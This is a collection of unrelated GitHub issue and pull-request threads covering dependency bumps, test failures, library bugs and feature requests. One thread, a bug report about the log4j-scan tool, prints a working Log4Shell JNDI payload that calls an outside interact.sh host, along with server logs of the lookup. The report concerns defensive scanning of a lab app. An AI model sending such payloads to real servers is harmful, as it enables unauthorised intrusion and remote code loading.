chore(package): update prettier to version 1.14.3

Codecov Report

Merging #35 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff          @@
##           master    #35   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files          16     16
  Lines          50     50
=====================================
  Hits           50     50

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fc3c2b4...3a31d66. Read the comment docs.


dioxus-web requires web-sys minimum version bump for ScrollIntoViewOptions

Problem
ScrollIntoViewOptions::set_behavior method was introduced in web-sys 0.3.70, but the Cargo.toml only requests 0.3.56
Steps To Reproduce

Have an existing project with a committed Cargo.lock
Upgrade to 0.6.0-alpha.4
Wait for rust-analyzer to be sad

Environment:

Dioxus version:  0.6.0-alpha.4

This was fixed by https://github.com/DioxusLabs/dioxus/pull/3256


OpenAI Chat Test

Test in comments by adding /openai foo
we could probably update this to work with discussions?

/openai how do I use workflow_dispatch for github actions?

/openai how do I use workflow_dispatch for github actions?

/openai how do I use workflow_dispatch for github actions?

/openai how to do a multi-line string in python


Implement temporal masking

@nicofarr

What do you mean by temporal masking ?
Can something like this be useful (basically dropout over only the last dimension ) ?
class StepDrop(nn.Module):

    def __init__(self, p=0.5):
        self.p = p
        super().__init__()

    def forward(self, x):
        if not self.training or not self.p:
            return x

        binomial = torch.distributions.binomial.Binomial(probs=1 - self.p)
        mask = binomial.sample((x.size(0), x.size(-1))).to(x.device)
        mask = mask.div_(1 - self.p)
        mask = mask.unsqueeze(1)
        out = x * mask
        return out

I think @nicofarr means time mask like in SpecAugment, but applied to waveforms. I.e. pick one or more time spans and silence the audio there


Move CheckResets after CheckCombLoops

Recursive literal lookup needs to be guarded against combinational loops
Added a test-case to illustrate the issue when CheckResets is run before CheckCombLoops
Cherry-pick of patch from https://github.com/freechipsproject/firrtl/pull/1201
As stated in #1201, we should fix CheckResets to not require this, but the patch fixes the problem and the test is great to include.

Yeah and none of those transforms in question that CoreTransform actually set the form of the output CircuitState to outputForm.

@Mergifyio backport 1.2.x


Consider to skip missing target files

Definitely not my area of expertise, but I've just noticed something and though to report it. Seems that when a patch targets a missing file (maybe because it was moved or for any other reason), grunt-patch just stops and asks for the path to the missing file. Instead, svn patch just patches straight away and skips the missing target.
Wouldn't be better to match the native svn patch behavior?
Here's the output of the two commands while I've run with a patch targeting a missing file:
$ grunt patch:43986
Running "patch:43986" (patch) task
? Please select a patch to apply 43986v5.2.diff (9.7 KB) - added by afragen 11 hours ago.
can't find file to patch at input line 5
Perhaps you used the wrong -p or --strip option?
The text leading up to this was:
--------------------------
|diff --git src/wp-admin/css/list-tables-rtl.css src/wp-admin/css/list-tables-rtl.css
|index 468dcbf8a1..dd7f90d607 100644
|--- src/wp-admin/css/list-tables-rtl.css
|+++ src/wp-admin/css/list-tables-rtl.css
--------------------------
File to patch:

$ svn patch 43986v5.2.diff
Skipped missing target: 'src/wp-admin/css/list-tables-rtl.css'
U         src/wp-admin/css/list-tables.css
U         src/wp-admin/includes/class-wp-plugin-install-list-table.php
U         src/wp-admin/includes/plugin-install.php
Summary of conflicts:
  Skipped paths: 1

patch -t would skip missing files during batch processes... for this plugin it would be and additional
patchArgs.push( '-t' );

before https://github.com/WordPress/grunt-patch-wordpress/blob/trunk/tasks/patch_wordpress.js#L58


Add extended inferencing parameter for text-generation inference

Is your feature request related to a problem? Please describe.
Currently TGIS exposes certain inference time parameters like temperature etc, which we haven't exposed in any of our text-generation modules. This can become limitation for users. This issue is to add those parameters to TGIS backend modules (both text-generation and prompt tuning) and also implement them to "local" backends
TGIS also exposes details about the input like token count in its response. These aren't exposed currently and should be added as well.
List of parameters (both input and output) to be exposed
Input params

[ ] decoding_method (they call it method)
[ ] sampling_parameters (they call it sampling)
[ ] StoppingCriteria - max_new_tokens, min_new_tokens already there. time_limit_millis one is tricky for local implementation specially.
[ ] DecodingParameters - This one is tricky for local implementation specially
[ ] truncate_input_tokens already supported in text_generation_* modules. Not available in peft ones.

Output params

[ ] input_token_count - Need to add in caikit.interfaces.nlp

@gkumbhat can you close this out if already done?

Can be closed as already completed!


Issue #1037: pass all derive-enabling flags in bindgen for csmith driver

r? @fitzgen

Thanks for the pull request, and welcome! The Servo team is excited to review your changes, and you should hear from @fitzgen (or someone else) soon.

@bors-servo r+

:pushpin: Commit 225c9a4 has been approved by fitzgen

:hourglass: Testing commit 225c9a47f2b054538ad11d019dcb43a952bec606 with merge e350477a115df02c1b53d69d0153c08c7066bffd...

:broken_heart: Test failed - status-travis

looks like it fails in building rustfmt-nightly in CI. so does it need a re-run?

looks like it fails in building rustfmt-nightly in CI. so does it need a re-run?

I think it was https://github.com/rust-lang-nursery/rustfmt/issues/2002, which now appears to be fixed. I'll go ahead and merge this manually though.
Sorry for the hiccup!


Can't parse ypub

I can easily parse an xpub key but it doesn't work for any ypub. Is that normal?
I use
ExtPubKey extPubKey = ExtPubKey.Parse("ypub...");

Thanks! I didn't know that. It works.


Alternative Product

In the description you mention that you do not use enpass any longer. Did you find something similar which supports CLI interface? It so, would be nice to link it in the description as well.
Thank you for your efforts!

Hi @stefanpl , I bought the paid version of 1Password for my company.
They have a pretty good security model, security whitepaper and track record.
https://support.1password.com/command-line-getting-started/


Empty file compression

Again not a big issue, but if there is "nothing to do" the output file "test.knz" should probably not be created.
$ touch test
$ ./kanzi -c -i test
Kanzi 2.0 (c) Frederic Langlet
1 file to compress
Input file test is empty ... nothing to do
$ ./kanzi -d -i test.knz -o stdout
Invalid stream type. Error code: 15

Commit [23a503a]


fixed string helper encoding when Yii::$app is not available

Q
A

Is bugfix?
yes

New feature?
no

Breaks BC?
no

Tests pass?
let travis decide on this one

Fixed issues
#13254

fixes #13254

See https://github.com/yiisoft/yii2/issues/13254#issuecomment-268750069
We should either fix all the dependencies on Yii application around the helper classes and validators or leave everything be as it is.
Why should we fix StringValidator to work without an application instance, while leaving FileHelper depending on it?

We should either fix all the dependencies on Yii application around the helper classes and validators or leave everything be as it is.

Sounds good. This would make development more flexible.

IMO all dependencies on an active Yii application should be minimized in the helpers. For three reasons:

Static behavior: Helpers are static and focussed on processing instead of depending on global state. You are expecting loosely tied helper methods
Testing: enough scenarios are thinkable in a PHP unit environment in which you are testing something in which you don't need an Application to be active
Use of Yii helpers in non Yii applications

rebased and made sure tests cover it by forcing Yii::$app to be null in test cases. This should be done for more helpers, will prepare a separate PR for that.

When there is no framework "global context" (Yii::$app) where the default or user configuration can go, I would expect the framework to get out of the way rather than force any hardcoded value. Instead, I would expect PHP's INI directive default_charset to apply.

Could be a good idea. @cebe what do you think?

default_charset is PHP 5.6.0, so that would be the way to go in 2.1.

As we discuss a framework helper, I'd like to implement both @tom-- & @klimov-paul ideas: StringHelper::encoding() which returns Yii::$app->charset / ini_get('default_charset') / 'UTF-8' depending on a context and I'm fine with it.

I agree. The encoding logic should be taken out.

Merged. Thanks @cebe for working on it and everyone for reviews and suggestions.


No whitespace rule

Add rule which will check cell value to see if it has  white space that can be trimmed on either side (e.g.  1 or 1 ).

Codecov Report

Merging #82 (374a5c9) into dev (d4b4202) will increase coverage by 0.00%.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##              dev      #82   +/-   ##
=======================================
  Coverage   99.94%   99.94%
=======================================
  Files          25       25
  Lines        1820     1828    +8
=======================================
+ Hits         1819     1827    +8
  Misses          1        1

Impacted Files
Coverage Δ

rumydata/rules/cell.py
100.00% <100.00%> (ø)

tests/test_rules_cell.py
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d4b4202...374a5c9. Read the comment docs.


Publish generated proto clients in an idiomatic way

When writing a client library for Sigstore, you'll need access to the protos. Manually copying them in is tedious and error-prone.
Instead, we should publish sigstore-protos libraries in a language-idiomatic way (e.g., on a popular package repository).
The languages that will need this:

Ruby (RubyGems)
Java (Maven Central)
JavaScript (npm)
Go? (Go just uses Git but I'm not sure how it works with generated files)
Rust (Cargo)
Python (PyPI)

We'll probably want advice from representatives of each community, since no maintainer on this repo understands best practices for all of these languages unless somebody has weird hobbies they're not telling me about.

Java (Maven Central)

+1

You are one step ahead of me @znewman01, like it!
For go my plan is that we generate the go code in this repository as part of a CI job, this is a pattern I'm used to and it works well.
I will also work with the secure systems lab to do the same for the DSSE code so we don't need to replicate that code generation here.


Incorporated some code review comments

Could we remove all the .idea files, they probably shouldn't be under source control right?


feat!: add a non-blocking call for deploy contract

Close: https://github.com/FuelLabs/fuels-ts/issues/2561

✨ A PR has been created under the rc-2597 tag on fuels-wallet repo.
https://github.com/FuelLabs/fuels-wallet/pull/1393

Do you think it's worthwhile using Typegen consistently in our documentation - over using ContractFactory (example)?
(This can be a separate issue - just posing the question)

@petertonysmith94 Good question. Since both approaches are valid we should have examples for each one. But at the same time, I think that having 2 different approaches can be confusing for new users. What do think?

@petertonysmith94 @Torres-ssf just weighing in that I would love to see us favouring Typegen consistently for fuel-gauge and snippets as it's essential for browser testing, and for users sake. I've added it as a requirement to #1820. Then we could have contract factory having it's own doc snippet.

@danielbate @petertonysmith94 I lost a bit of context here, but I'd say we should use the fuels CLI instead, which internally will use typegen anyway. This will close the cycle of dogfooding our stuff in our test suites as much as possible.

I'd say we should use the fuels CLI instead, which internally will use typegen anyway

@arboleya agreed. Right now we are building with the fuels CLI, so like we do in a few places in fuel-gauge, I would like to see us utilising those factories rather than importing the ContractFactory.


Search Widget in Terminal shouldn't be case sensitive

Feels like it should be off by default. Same at the regular search widget.

This is part of https://github.com/Microsoft/vscode/issues/28768 but maybe I can squeeze this into the next release.


Files in spark_applications_logs are empty

Seahorse appears to mount spark_applications_logs correctly as many files are created (even .lck files) but all of them have zero bytes. How do we enable logging?

FWIW: The impetus for needing these is that we can't connect to an external, stand-alone cluster, and need a means of debugging the problem:


add terms column to application table

in the application table we need a terms column type text.
All the java stuff to be changed and both dev and prod DB
This is linked to #173

Done


Allow user creation of data

User Story

As a user, I want to be able to add a new animal to the catalog

Done!


Support for dnx and dotnet platform

Re: #224

@mvalipour thanks!
Some general comments:

Generally, I'd prefer to mirror the approach of xunit in adding the dotnet TFN. See https://github.com/xunit/xunit/tree/master/src/xunit.execution.dotnet

no project.json, no xproj
There doesn't have to be an xbehave.core.dnx - see https://github.com/xunit/xunit/tree/master/src
There should not be a dnx subfolder under src

There should be no reason to edit Guard.cs. This file should be omitted from the linked files in Xbehave.Execution.dotnet and LiteGuard should be installed into the project. It should then pick the PCL version of the source and it should just work. If this is not the case, then I think it's OK to just make a copy of Guard.cs for that project and edit it. The necessary TFN can be added to LiteGuard itself later.
According to https://github.com/xbehave/xbehave.net/network you've merged the dev branch into your branch in order to catch up. This should always be a rebase, not a merge, so that your branch is a straight line of commits from dev. See https://github.com/xbehave/xbehave.net/blob/dev/CONTRIBUTING.md#handling-updates-from-upstream

OK, I'm on it now.
I knew we had to discuss these details but before having this PR we couldn't get into details :)
So, are you happy if we move all the "common" files between .execution.desktop and execution.dotnet into a shared Common folder? (just like in xunit)


Feat: Add Chat with Seller button

📝 Add chat with seller button in the products cards
🛠 Issue

Closes Add chat with seller button in the products cards

📖 Description

This PR introduces a new button labeled 'Chat with Seller' to the product cards.
The button is currently non-functional and serves purely as a visual element to match the design specifications. It has been styled to align with the overall look and feel of the product cards, including consistent typography, colors, and spacing as per the design guidelines.

✅ Changes made

Add new button
Enclose 'Chat With Seller' and 'Add to cart' buttons into a flex div in order to have both buttons into responsive design
Add new Lucide react icon MessageSquareMore
Fix an issue I saw on the header on mobile view, just add some widths to it
Fix some indentation.
Past:

Now:

📜 Additional Notes

N/A

@Steph3097 awesome, thanks for the extra fixes!


feat: Multi Pane IDE: Phase 1

Description
Starts work on the Multi Pane IDE that would be behind a feature flag right now. We will continue work on this behind the scenes

New shiny Multi Pane layout that will be unwrapped after a few months

Fixes #19210
Type of change

New feature (non-breaking change which adds functionality)
Breaking change (fix or feature that would cause existing functionality to not work as expected)

How Has This Been Tested?

Please describe the tests that you ran to verify your changes. Provide instructions, so we can reproduce.
Please also list any relevant details for your test configuration.
Delete anything that is not important

Manual
Jest
Cypress

Test Plan

Add Testsmith test cases links that relate to this PR

Issues raised during DP testing

Link issues raised during DP testing for better visiblity and tracking (copy link from comments dropped on this PR)

Checklist:
Dev activity

[ ] My code follows the style guidelines of this project
[ ] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes
[ ] PR is being merged under a feature flag

QA activity:

[ ] Test plan has been approved by relevant developers
[ ] Test plan has been peer reviewed by QA
[ ] Cypress test cases have been added and approved by either SDET or manual QA
[ ] Organized project review call with relevant stakeholders after Round 1/2 of QA
[ ] Added Test Plan Approved label after reveiwing all Cypress test

/ok-to-test sha=50900e5

/ok-to-test

/ok-to-test

Tested this DP. All the other features are working as expected.

Checked for other users if changes are reflected.
Checking widget d&d on all canvas size. > Widgets in 'Dekstop' size appears zoomed out (Fonts, widgets appear smaller) when compared to the rest of the canvas size
Widget shadow tail is seen when widgets are moved on canvas
UI on datasource and query pages have misalignments

Since these icons are not clickable, its confusing for users

When the first pane size is increased, the canvas is lost completely.
https://loom.com/share/4033fe60e3054a189bb8f5282c6aee88


Errors on Shippable tests

unit: core.tcpsocket connects failed
ReferenceError: socketTransportService is not defined in resource://jid1-mkagayemb0e5nq-at-jetpack/freedom_for_firefox_tests/data/spec.jsm (line 12040)
unit: core.tcpsocket rejects listens on open ports passed
unit: core.tcpsocket receives data failed
ReferenceError: socketTransportService is not defined in resource://jid1-mkagayemb0e5nq-at-jetpack/freedom_for_firefox_tests/data/spec.jsm (line 12040)
unit: core.tcpsocket secures socket with starttls failed
ReferenceError: socketTransportService is not defined in resource://jid1-mkagayemb0e5nq-at-jetpack/freedom_for_firefox_tests/data/spec.jsm (line 12040)
unit: core.udpsocket binds passed
unit: core.udpsocket receives data passed
integration-single: social.loopback.json logs in passed
integration-single: social.loopback.json returns clients passed
integration-single: social.loopback.json returns users passed
integration-single: social.loopback.json sends message passed
integration-single: social.loopback.json ERRCODE-OFFLINE passed
integration-single: social.loopback.json ERRCODE-LOGIN_ALREADYONLINE passed
integration-single: social.loopback.json ERRCODE-SEND_INVALIDDESTINATION passed
integration-single: social.ws.json logs in passed
integration-single: social.ws.json returns clients passed
integration-single: social.ws.json returns users passed
integration-single: social.ws.json sends message passed
integration-single: social.ws.json ERRCODE-OFFLINE passed
integration-single: social.ws.json ERRCODE-LOGIN_ALREADYONLINE passed
integration-single: social.ws.json ERRCODE-SEND_INVALIDDESTINATION passed
integration-double: social.ws.json A-B: sends message between A->B passed
integration-double: social.ws.json A-B: sends roster updates through the onChange event. passed
integration-double: social.ws.json A-B: can return the roster passed
integration: storage.isolated.json sets and gets keys passed
integration: storage.isolated.json set returns old value passed
integration: storage.isolated.json removes a key failed
Expected [  ] to equal [  ].
integration: storage.isolated.json lists keys that have been set passed
integration: storage.isolated.json resolves 'null' when getting unset keys passed
integration: storage.isolated.json clears the store passed
integration: storage.isolated.json sets work across keys passed
integration: storage.isolated.json shares data between different instances
pending
integration: storage.shared.json sets and gets keys passed
integration: storage.shared.json set returns old value passed
integration: storage.shared.json removes a key failed
Expected [  ] to equal [  ].
integration: storage.shared.json lists keys that have been set passed
integration: storage.shared.json resolves 'null' when getting unset keys passed
integration: storage.shared.json clears the store passed
integration: storage.shared.json sets work across keys passed
integration: storage.shared.json shares data between different instances
pending
integration: transport.webrtc.json generates signals passed
integration: transport.webrtc.json sends a small amount of data. passed
integration: transport.webrtc.json chunks data passed
integration: transport.webrtc.json sends through multiple tags passed
integration: core.rtcpeerconnection Sends string messages across data channels passed
integration: core.rtcpeerconnection Sends binary messages across data channels passed
integration: core.rtcpeerconnection Checks that Firefox actually signals data channel closing.
pending
integration: core.rtcpeerconnection Closes Cleanly passed
integration: core.rtcpeerconnection getStats works failed
Expected 0 to be greater than 0.
integration: core.rtcpeerconnection Signals 'onClose' when created with incorrect parameters passed
integration: core.xhr calling open with async=false returns an error passed
integration: core.xhr calling open with async=undefined is all good passed
integration: core.xhr getReadyState properly returns state passed
integration: core.xhr can GET github.com passed
integration: core.tcpsocket Works as a Client failed
ReferenceError: socketTransportService is not defined in resource://jid1-mkagayemb0e5nq-at-jetpack/freedom_for_firefox_tests/data/spec.jsm (line 12040)
integration: core.tcpsocket Gets info on client & server sockets failed
ReferenceError: socketTransportService is not defined in resource://jid1-mkagayemb0e5nq-at-jetpack/freedom_for_firefox_tests/data/spec.jsm (line 12040)
integration: core.tcpsocket Sends from Client to Server failed
ReferenceError: socketTransportService is not defined in resource://jid1-mkagayemb0e5nq-at-jetpack/freedom_for_firefox_tests/data/spec.jsm (line 12040)
integration: core.tcpsocket Gives error when connecting to invalid domain failed
ReferenceError: socketTransportService is not defined in resource://jid1-mkagayemb0e5nq-at-jetpack/freedom_for_firefox_tests/data/spec.jsm (line 12040)
integration: core.udpsocket Connects, has state, and sends/receives data passed
integration: core.oauth - progresslistener Generates a token passed
integration: core.oauth - httpobserver Generates a token passed
Warning: Task "report-tests:fromBuild" failed. Use --force to continue.

TCP issues here have been resolved  per #51
Several remaining bugs like
storage.*.json removes a key failed
Expected [ ] to equal [ ].

integration: core.rtcpeerconnection getStats works failed
Expected 0 to be greater than 0.

The "expected [ ] to equal [ ]" is resolved with: https://github.com/freedomjs/freedom/commit/a99f483d395760350c4d522ae8833e3be59a540e
core.rtcpeerconnection getStats is still broken, some notes here: https://github.com/willscott/webrtc-adapter/issues/4
And most importantly at the moment, many of the TCP tests are failing (https://github.com/freedomjs/freedom-for-firefox/issues/57#issuecomment-93548921). It seems like all the tests that require both a client and server socket fail, which is presumably at least partially the fault of the test (as the actual live issue is some missing emits but not a total break of connectivity).
The client socket fails to connect to the server socket in the tests with error  {"errcode":"CONNECTION_FAILED", "message":"Firefox Connection Failed: NS_ERROR_CONNECTION_REFUSED"} - could have something to do with the mocking or the general test setup/util.
I'll focus on fixing the actual event emit issue as higher priority than the tests, but obviously any thoughts on the tests are welcome too.

https://github.com/freedomjs/freedom-for-firefox/pull/60 and https://github.com/freedomjs/freedom/pull/267 combined allow pause/resume to pass (locally for me at least). There were a handful of issues (for instance, the 'in' syntax apparently didn't work in the Firefox addon context), and I also ended up commenting out the client onDisconnect invocation - obviously not ideal, but I don't believe it is what uProxy is depending on at the moment either.
Will investigate more, thoughts/review welcome. Thanks.

With #66, Shippable is happily green.


resolved_ts: reduce retrying of registering observe region

What problem does this PR solve?
Issue Number: close #10163
Problem Summary:
After the new leader elected, it will try to register observe region immediately. To register observe region, the leader needs to first handle a quorum read request to ensure it has the most update-to-date data, the request usually fail because the leader hasn't apply any log on its term or it is splitting or merging, and the leader will retry the request immediately without backoff, and result in busy loop of retrying.
What is changed and how it works?
What's Changed:
Use applied_on_current_term replace on_role_change to trigger register observe region, so the request won't fail because the leader hasn't apply any log on its term.
Add backoff before retrying if the request still fails for some resion
Tests

Integration test

Release note

No release note

/test

/merge


Bug on positive result

I just setup a vulnerable application (SpringBoot) using docker on port 8080, and it broke the python program after attempting to fetch the results:
└─$ ./log4j-scan.py -u http://<IP_ADDRESS>:8080
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://<IP_ADDRESS>:8080
[•] URL: http://<IP_ADDRESS>:8080 | PAYLOAD: ${jndi:ldap://<IP_ADDRESS>.n8jf4850r0784w8x91rncpp9m57l080qn.interact.sh/wc5dme5}
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
Traceback (most recent call last):
File "/home/kali/Downloads/log4j-scan/./log4j-scan.py", line 337, in
main()
File "/home/kali/Downloads/log4j-scan/./log4j-scan.py", line 326, in main
records = dns_callback.pull_logs()
File "/home/kali/Downloads/log4j-scan/./log4j-scan.py", line 195, in pull_logs
decrypt_data = self.__decrypt_data(aes_key, i)
File "/home/kali/Downloads/log4j-scan/./log4j-scan.py", line 207, in __decrypt_data
plain_text = cryptor.decrypt(decode)
File "/usr/lib/python3/dist-packages/Crypto/Cipher/blockalgo.py", line 295, in decrypt
return self._cipher.decrypt(ciphertext)
ValueError: Input strings must be a multiple of the segment size 16 in length

Same issue with https://github.com/christophetd/log4shell-vulnerable-app

It seems that there's an issue with the Internet connection it's returning invalid response. Can you please try it again on Docker, and re-open the ticket if it's still there?

Running the program in docker returned a "Connection Refused" on Local port 8080 (The Vulnerable application is running on this port). Back on my attempt using the python program directly I received the following error in the SpringBook vulnerable application:
21-12-14 19:17:47.059  INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
2021-12-14 19:17:47.060  INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 0 ms
2021-12-14 19:17:47.087  WARN 1 --- [nio-8080-exec-1] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
2021-12-14 19:18:42.663  WARN 1 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
2021-12-14 19:18:43.611  WARN 1 --- [nio-8080-exec-3] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
2021-12-14 19:18:44.799  WARN 1 --- [nio-8080-exec-4] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
2021-12-14 19:19:36.355  INFO 1 --- [nio-8080-exec-5] o.a.t.u.h.p.Cookie                       : A cookie header was received [{jndi:ldap://<IP_ADDRESS>.662f44vi2k2b424hu615aurwe1u47ilfo.interact.sh/9ofibob}] that contained an invalid cookie. That cookie will be ignored.
Note: further occurrences of this error will be logged at DEBUG level.
2021-12-14 19:19:36,760 http-nio-8080-exec-5 WARN Error looking up JNDI resource [ldap://<IP_ADDRESS>.662f44vi2k2b424hu615aurwe1u47ilfo.interact.sh/9ofibob]. javax.naming.CommunicationException: <IP_ADDRESS>.662f44vi2k2b424hu615aurwe1u47ilfo.interact.sh:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
at com.sun.jndi.ldap.Connection.(Connection.java:238)
at com.sun.jndi.ldap.LdapClient.(LdapClient.java:137)
at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1615)
at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749)
at com.sun.jndi.ldap.LdapCtx.(LdapCtx.java:319)
at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
I believe the root cause of this is it's attempting to provide a false URL:

<IP_ADDRESS>.662f44vi2k2b424hu615aurwe1u47ilfo.interact.sh:389

When it should possibly be:

662f44vi2k2b424hu615aurwe1u47ilfo.interact.sh:389?


Add support for maintaining IP Allowlists, Domains and Certificates

The API provided by https://www.adobe.io/apis/experiencecloud/cloud-manager/api-reference.html#/IP_Allowlist, https://www.adobe.io/apis/experiencecloud/cloud-manager/api-reference.html#/IP_Allowlist_Binding, https://www.adobe.io/apis/experiencecloud/cloud-manager/api-reference.html#/Domain Names and https://www.adobe.io/apis/experiencecloud/cloud-manager/api-reference.html#/SSLCertificates should be exposed trough the CLI as well.

@justinedelson Any ETA for the remaining functionality (Domain names and certificates)?


Implement JobLifeCycle Object, use IDispoble for Task, Job, Stream.

This is a big aggregated change on the Prajna Project. This pull request is not fully ready to check-in yet. But I will use this pull request to initiate a code-review request, and
disucss the major changes incorporated in this version.
The main functions implemented are with regard to distributed exception handling and distributed resource management. Our goal will be: 1) Job may throw exception at remote, and all exception
will be serialized and shown at local. 2) We should properly implement handling of IDisposable object throughout our project.

JobLifeCycle object.

Each Prajna action (read, fold, etc.) is now associated with a GUID, which is further associated with a JobLifeCycle object. The JobLifeCycle governs the life cycle of a Prajna job,
and is responsible to release any resource used by Job (at App, Daemon, or at Container).
You can register callback (event) on the JobLifeCycle as follows.
OnDispose/OnDisposeFS: function to be called when the job is to be disposed. (only once right before job is disposed).
OnException/OnExceptionFS: function to be called when an exception is encountered. (may be called multiple times if multiple exception is encountered)
OnCancellation/OnCancellationFS: function to be called when the job is cancelled. (only once per job)
JobLifeCycle implements IDisposable interface.

SingleJobActionApp/SingleJobActionContainer/SingleJobActionDaemon

JobLifeCycle should not usually be used. Instead, function that plan to do something on the job should attempt to grab a SingleJobActionApp/SingleJobActionContainer/SingleJobActionDaemon object.
SingleJobAction* object also implements IDisposable interface. If a SingleJobAction* object has been successfully grabbed, the subsequent operation can safely use the resource of the job
without fearing that the resource is disposed. The operating logic is that when a SingleJobAction* object will try to increment the reference count of JobLifeCycle when it is created, and
check whether the job is still properly running. If not, try to grab SingleJobAction* object will return a null pointer, and the subsequent operations should not be executed.
When it is disposed, it will attempt to decrement the reference count. When Job is cancelled and the JobLifeCycle object is disposed, it will also decrement the reference count, and mark
the Job as being disposed. Only when the reference count goes to negative, the process will kick in to dispose the job resources.

ThrowExceptionAtCallback/EncounterExceptionAtCallback
/ThrowExceptionAtContainer/EncounterExceptionAtContainer:

These functions are being used to catch exception at remote, aggregate exception, and throw at the local. Ultimately, we should move to a stage that most exceptions at remote (including our
own programming error) should be manifested at local.

Job/Task: disposable.

Both Job and Task become disposable object. Thus, they can properly free their resource if they fail.

MemStream/StreamBase, etc..

I start to use the disposable feature of MemStream/StreamBase to govern stream memory allocation and resource release. My thought is as follows.
a) Application that allocates the stream should be responsible to free its resource. That is, we should be able to
use ms = new MemStream() ... for most of our jobs.
b) If other function needs to retain a copy of the stream, it should use .Replicate() to get a duplicated copy of the stream.
c) We should try to get rid of .AddRef() and .DecRef() management of the memory stream.

The UTs are not added yet?


Update version of node needed

Looking to fix #28
Picked this version from the types/node line as a total guess :)

Can you do a yarn install Boris?
Also, I would not use the ^ prefix here for the version number.
Rather do something like >=13.7.0

Seems to build fine on as early as Node v10 :thinking:
https://travis-ci.org/github/fission-suite/keystore-idb/builds/709731294

I'm fine with bumping up the version to node >= v10.21.0 since that's what we test in Travis. We can even go higher and remove the nodev10 travis build if we want. But I don't think that this is the issue. it seems to be an issue with a later version of the typescript compiler

Yes we should align this version with what we are doing in CI — because then we’ll know if it doesn’t work!
I’d have to go look at node LTS strategies to actually pick a number. Let’s go with the 10 for now.

Closing in lieu of https://github.com/fission-suite/keystore-idb/pull/31


jax, jaxlib versions 0.4.32 and 0.4.33 causing errors

Description
It seems that packages such as equinox and diffrax (and probably others) are broken by the latest versions 0.4.32 and 0.4.33 of jax and jaxlib. Here is example code that throws the error I keep seeing (and runs with 0.4.31), apologies that it includes internal equinox code
import equinox.internal as eqxi
import jax
import jax.lax as lax
import jax.numpy as jnp
import jax.random as jr
import jax.tree_util as jtu

init = (0, 2)
xs = (jnp.arange(4.0), jnp.arange(8.0).reshape(4, 2))

def lax_run(init, xs):
    final, ys = lax.scan(lambda car, x: (car, x), init, xs)
    return ys, final

def run(init, xs):
    final, ys = eqxi.scan(
        lambda car, x: (car, x), init, xs, length=4, kind="checkpointed"
    )
    return ys, final

lax_out, lax_vjp_fn, lax_aux = jax.vjp(lax_run, init, xs, has_aux=True)
ct_out = jtu.tree_map(
    lambda x: jr.normal(jax.random.PRNGKey(0), x.shape, x.dtype), lax_out
)

@jax.jit
def vjp_run(init, xs, ct_out):
    out, vjp_fn, aux = jax.vjp(run, init, xs, has_aux=True)
    out = (out, aux)
    grad = vjp_fn(ct_out)
    return out, grad

out, grad = vjp_run(init, xs, ct_out)

This code is modified from equinox's tests/test_scan.py, just to have a standalone example. The error is
ValueError: Closure-converted function called with different dynamic arguments to the example arguments provided.

System info (python version, jaxlib version, accelerator, etc.)
jax:    0.4.33
jaxlib: 0.4.33
numpy:  2.1.1
python: 3.10.14 (main, May  6 2024, 14:42:37) [Clang 14.0.6 ]
jax.devices (1 total, 1 local): [CpuDevice(id=0)]
process_count: 1
platform: uname_result(system='Darwin', node='MacBook-Pro-62.local', release='23.6.0', version='Darwin Kernel Version 23.6.0: Mon Jul 29 21:14:30 PDT 2024; root:xnu-10063.141.2~1/RELEASE_ARM64_T6000', machine='arm64')

Hi, thanks for the report! This error seems to be coming from equinox (see this search: https://github.com/search?q=repo%3Apatrick-kidger%2Fequinox "Closure-converted function called with"&type=code)
If you're able to reproduce this error without equinox, then there's problably something we can fix here. If the error only occurs with equinox, then I suspect you'd make more progress reporting it at https://github.com/patrick-kidger/equinox/

Understood, and thanks for the quick reply! Tagging @patrick-kidger for visibility, as he might be better suited than I for producing a possible jax-only MWE.

I bisected this to commit dd6f0e2e2ed13869eb7641ebff854ff5e8077e82, with the released jaxlib.
